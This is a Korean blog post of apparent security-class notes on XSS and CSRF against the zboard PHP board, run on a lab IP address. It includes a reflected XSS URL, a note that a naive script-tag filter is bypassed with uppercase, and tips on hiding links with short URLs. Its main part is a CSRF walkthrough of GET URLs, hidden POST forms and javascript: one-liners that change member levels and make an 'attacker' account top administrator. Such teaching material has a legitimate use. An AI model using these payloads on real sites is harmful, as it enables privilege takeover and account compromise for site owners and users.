반응형

XSS


1).stored XSS


-게시글, 쪽지,회원정보 ...



2). reflected XSS


 - 입력 값이 그대로 되돌아 오면서 스크립트가 실행


-192.168.12.241/zboard/check_user_id.php?user_id=<script>alert('xss');</script>


 -링크로 악용 될 수 있다


 - 짧은 URL을 이용해서 스크립트를 감춥니다


 - Short url(http://bit.ly/2wkTFoy)


 

1. 기존의 보안 방식


 1) 솔루션의 이용: 방화벽, 웹 방화벽, IPS, IDS, 백신.....


  - 가장 오래된 전통적인 보안 방식



 2). 보안 패치


 !일반적인 개발 과정


 기획-> 설계 -> 구현 -> 배포-> 유지보수


 !시큐어 코딩


 - 개발 과정 전체에서 보안 취약점을 없애는 개발 방식




XSS 차단: 게시글의 본문

 

  - 입력값 검증



  "<script>" 라는 문자열이 들어오면 못 써지게 만들어 보겠습니다


  php 패턴매칭


  preg_match



write_ok.php에 가서 detect xss 코드를 적어줍니다




그리고 나서 다시 스크립트 문장을 본문에 적어보면 경고창이 뜨는걸 볼 수 있습니다





이런걸 시큐어 코딩이라고 합니다



하지만 이건 단순히 문자열로 체크하는 수준이기 때문에 우회가 가능합니다


script문자만 아니면 되니 대문자로 하면 우회가 가능합니다





1. 클라이언트측 언어를 이용한 취약점: javascript(XSS), html(CSRF)



1)CSRF(Cross Site Request Forgery)


 - 교차 사이트 요청 위조


 - html 태그를 이용한 방법


 - xss 공격의 변종 기법중의 하나



2).소스 분석을 통한 입력값 확인


 회원가입을 먼저 합니다(회원이 하나 필요)


 admin 페이지를 가서 회원 management에 갑니다



 1)). GET


/zboard/admin_setup.php이 관리자 요청을 처리해줍니다



소스분석 


page=1

group_no=1

exec=view_member

page_num=10

exec2=moveall

cart[]=2

movelevel=변경하고자 하는 level

exec2의 value가 moveall로 바뀌는걸 볼 수 있습니다



GET 방식으로 보내기 :/zboard/admin_setup.php?page=1&group_no=1&exec=view_member&page_num=10&exec2=moveall&cart[]=2&movelevel=5

 


GET 방식으로 보내보도록하겠습니다



버튼을 안누르고도 GET방식으로 레벨을 잘 바꾼걸 확인할 수 있습니다.


 2)). POST


form이 없으면 post 방식은 사용할 수 없습니다


- 가짜폼 만들기



<form method=POST action="http://192.168.12.241/zboard/admin_setup.php">


<input type hidden name=page value=1>

<input type hidden name=group_no value=1>

<input type hidden name=exec value=view_member>

<input type hidden name=page_num value=10>

<input type hidden name=exec2 value=moveall>

<input type hidden name=cart[] value=2>

<input type hidden name=movelevel value=7>

<input type=submit>

</form>


page=1

group_no=1

exec=view_member

page_num=10

exec2=moveall

cart[]=2

movelevel=변경하고자 하는 level



-콘솔창에서 보내기


*주의 -엔터키없이 쭈르륵 나열해야합니다-


document.write("<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'><input type hidden name=page value=1><input type hidden name=group_no value=1><input type hidden name=exec value=view_member><input type hidden name=page_num value=10><input type hidden name=exec2 value=moveall><input type hidden name=cart[] value=2><input type hidden name=movelevel value=7><input type=submit></form>");



-url에서 보내기


javascript: document.write("<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'><input type hidden name=page value=1><input type hidden name=group_no value=1><input type hidden name=exec value=view_member><input type hidden name=page_num value=10><input type hidden name=exec2 value=moveall><input type hidden name=cart[] value=2><input type hidden name=movelevel value=4><input type=submit></form>");







*실습 attacker를 level 1과 최고관리자로 만들기


get/ post 둘다 만들기




소스 분석


/zboard/admin_setup.php



<input type=hidden name=exec value=view_member>

<input type=hidden name=exec2 value=modify_member_ok>

<input type=hidden name=group_no value=1>

<input type=hidden name=member_no value=2>

<input type=hidden name=page value=1>

<input type=hidden name=keyword value=>

<input type=text name=name size=20 maxlength=20 value="attacker" class=input style=border-color:#b0b0b0></td>


<select name=level>

<option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4 selected>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option>                    </select></td>


<select name=is_admin>

<option value=3 selected>일반사용자</option>

<option value=2 >그룹관리자</option>

<option value=1 >최고관리자</option>

</select></td>


exec=view_member

exec2=modify_member_ok

group_no=1

member_no=2

page=1

keyword=

level=5

is_admin=3

name=attacker



*GET 방식으로 보내기


/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2

&page=1&keyword=&level=5&is_admin=2


이렇게 보냈더니 이름을 입력하라는 문구가 뜹니다


소스를 더 분석해보니 name에 attakcer를 적어줘야 될거같다는 생각이 듭니다


<input type=text name=name size=20 maxlength=20 value="attacker" class=input style=border-color:#b0b0b0></td>



/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2

&page=1&keyword=&level=5&is_admin=2&name=attacker


다시보내봅니다



잘 바뀐걸 확인 할 수 있습니다


그럼 이제 level1과 최고 관리자로 만들어보겠습니다


/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2

&page=1&keyword=&level=1&is_admin=1&name=attacker



잘 바뀐걸 알 수 있습니다



*POST 방식으로 보내기



exec=view_member

exec2=modify_member_ok

group_no=1

member_no=2

page=1

keyword=

level=1

is_admin=1

name=attacker


<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'>


<input type hidden name=exec2 value=modify_member_ok>

<input type hidden name=group_no value=1>

<input type hidden name=exec value=view_member>

<input type hidden name=member_no value=2>

<input type hidden name=keyword value=>

<input type hidden name=page value=1>

<input type hidden name=level value=1>

<input type hidden name=is_admin value=1>

<input type hidden name=name value=attacker>

<input type=submit>

</form>


-콘솔창으로 보내기

document.write("<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'><input type hidden name=exec2 value=modify_member_ok><input type hidden name=group_no value=1><input type hidden name=exec value=view_member><input type hidden name=member_no value=2><input type hidden name=keyword value=><input type hidden name=page value=1><input type hidden name=level value=1><input type hidden name=is_admin value=1><input type hidden name=name value=attacker><input type=submit></form>");



-url으로 보내기


javascript:document.write("<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'><input type hidden name=exec2 value=modify_member_ok><input type hidden name=group_no value=1><input type hidden name=exec value=view_member><input type hidden name=member_no value=2><input type hidden name=keyword value=><input type hidden name=page value=1><input type hidden name=level value=1><input type hidden name=is_admin value=1><input type hidden name=name value=attacker><input type=submit></form>");







잘 바뀐걸 확인 할수 있습니다


  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기